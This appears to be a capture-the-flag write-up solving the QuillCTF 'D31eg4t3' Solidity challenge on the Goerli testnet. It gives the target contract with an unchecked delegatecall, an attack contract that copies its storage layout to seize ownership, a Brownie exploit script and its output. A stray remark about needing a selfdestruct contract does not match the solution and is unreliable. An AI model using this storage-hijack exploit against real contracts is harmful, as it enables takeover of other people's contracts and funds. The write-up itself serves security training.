D31eg4t3 is a Solidity CTF challenge from QuillCTF.
Solution
In this contract, there is only 1 solidity
file. D31eg4t3.sol
. Contract is deployed on goerli test network.
To connect with this contract we can run brownie console with goerli network
kaancaglan@pop-os:~/QuillCTF/roadclosed$ brownie console --network goerli
Objective of CTF is
Become the owner of the contract.
Make canYouHackMe mapping to true for your own
address.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract D31eg4t3{
uint a = 12345;
uint8 b = 32;
string private d; // Super Secret data.
uint32 private c; // Super Secret data.
string private mot; // Super Secret data.
address public owner;
mapping (address => bool) public canYouHackMe;
modifier onlyOwner{
require(false, "Not a Owner");
_;
}
constructor() {
owner = msg.sender;
}
function hackMe(bytes calldata bites) public returns(bool, bytes memory) {
(bool r, bytes memory msge) = address(msg.sender).delegatecall(bites);
return (r, msge);
}
function hacked() public onlyOwner{
canYouHackMe[msg.sender] = true;
}
}
To solve this question we need to become owner and somehow we have to make canYouHackMe
mapping to true for our own account. hackMe
function is using delegatecall
without doing any control. So it means we can call hackMe
function with any data and that delegatecall
function will call our functions with the context of D31eg4t3
contract. Which means if we change anything on our attack contract, it will change same variables on same address on D31eg4t3
contract. So we just have to set an attack contract with same storage layout to manipulate those variables.
pragma solidity 0.8.7;
interface ID31eg4t3 {
function hackMe(bytes calldata bites) external returns(bool, bytes memory);
}
contract Attack {
uint a = 12345;
uint8 b = 32;
string private d; // Super Secret data.
uint32 private c; // Super Secret data.
string private mot; // Super Secret data.
address public owner;
mapping (address => bool) public canYouHackMe;
ID31eg4t3 delegate;
constructor(ID31eg4t3 _delegate) {
delegate = _delegate;
}
function attack() external payable{
delegate.hackMe(abi.encodeWithSignature("changeOwner(address)", msg.sender));
}
function changeOwner(address new_owner) public {
owner = new_owner;
canYouHackMe[new_owner] = true;
}
}
Layout of State Variables in Storage.
And we just have to call attack
function to be owner of that contract.
POC
First, we need a smart contract with selfdestruct
feature in it.
#https://goerli.etherscan.io/address/0xf0337cde99638f8087c670c80a57d470134c3aae
from brownie import *
from brownie.network.gas.strategies import LinearScalingStrategy
from brownie.network import gas_price, Accounts
from dotenv import load_dotenv
from scripts.setup_general import console
import os
strategy = LinearScalingStrategy("9 gwei", "90 gwei", 1.1)
gas_price(strategy)
load_dotenv()
ATTACKER_PRIVATE_KEY = None
def exploit():
ATTACKER_PRIVATE_KEY = os.getenv('DEFAULT_ATTACKER_PRIVATE_KEY')
_accounts = Accounts()
_accounts.add(ATTACKER_PRIVATE_KEY)
attacker = _accounts[0]
assert attacker.balance() > 0
contr = D31eg4t3.at('0x971e55F02367DcDd1535A7faeD0a500B64f2742d')
console.green("Imported attacker account successfuly.")
console.green("Owner of the contract is: "+ str(contr.owner()))
console.green("Attacker's address is: "+ str(attacker.address))
console.yellow("Creating attack contract")
attack_contr = Attack.deploy(contr.address, {'from': attacker})
console.yellow("Calling -> attack_contr.attack({'from': attacker})")
attack_contr.attack({'from': attacker})
console.green("New owner of the contract after attack is: "+ str(contr.owner()))
console.yellow("contr.canYouHackMe({'from': attacker}): " + str(contr.canYouHackMe(attacker.address)))
And the output is
>>> run('poc', 'exploit')
Running 'scripts\poc.py::exploit'...
Imported attacker account successfuly.
- Owner of the contract is: 0x698ee928558640e35f2a33cC1e535Cf2F9a139c8
- Attacker's address is: 0x255ba4faa1a90DF35f2eE597265c7EC22D1221cB
Creating attack contract
Transaction sent: 0x5bec60ac3188735bb31c4df48d35369adaa8460038dae2ad2f3def1d3b0d1881
Gas price: 9.0 gwei Gas limit: 349823 Nonce: 68
Attack.constructor confirmed Block: 8243893 Gas used: 318021 (90.91%)
Attack deployed at: 0x3aBfa13bB1FA295fb7DC364BA3284e842E446Eda
+ Calling -> attack_contr.attack({'from': attacker})
Transaction sent: 0x3a4a07efbe6d0431c2dbd0c8d638cc00db84b3736687098378c8787d78a07725
Gas price: 9.0 gwei Gas limit: 61964 Nonce: 69
Attack.attack confirmed Block: 8243894 Gas used: 56331 (90.91%)
+ New owner of the contract after attack is: 0x255ba4faa1a90DF35f2eE597265c7EC22D1221cB
+ contr.canYouHackMe({'from': attacker}): True